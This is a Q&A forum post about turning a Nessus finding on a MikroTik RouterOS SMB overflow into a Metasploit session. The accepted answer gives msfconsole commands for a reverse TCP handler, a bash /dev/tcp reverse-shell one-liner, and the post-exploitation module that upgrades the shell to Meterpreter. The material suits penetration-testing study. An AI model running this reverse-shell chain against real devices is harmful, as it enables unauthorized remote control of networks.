Nessus found a vulnerability, but no corresponding exploit on Metasploit : How to run with meterpreter

Question

I ran Nessus on a local network, it found a critical vulnerability for the router:

MikroTik RouterOS < 6.41.3 SMB Buffer Overflow

(Vulnerability description : Exploit-db)

But I can't find any corresponding exploit on metasploit for this vulnerability. On msfconsole did search CVE-2018-7445 but got no result.

Is there any way for me to use the exploit on metasploit, with the meterpreter?

score 1 · Accepted Answer · answered Nov 05 '18 at 16:17

Basically, you need to use the exploit in the exploit-db link to get a shell, then start a Metasploit handler:

use exploit/multi/handler
set LHOST [local ip address]
set LPORT 4444
set payload linux/x86/shell/reverse_tcp
run

Once the payload handler is running, you can make a reverse TCP connection from the router to get a session on Metasploit:

bash -i >& /dev/tcp/[local ip address]/4444 0>&1

Then background the session and use the module post/multi/manage/shell_to_meterpreter to upgrade the shell to a Meterpreter shell.

1 Answers1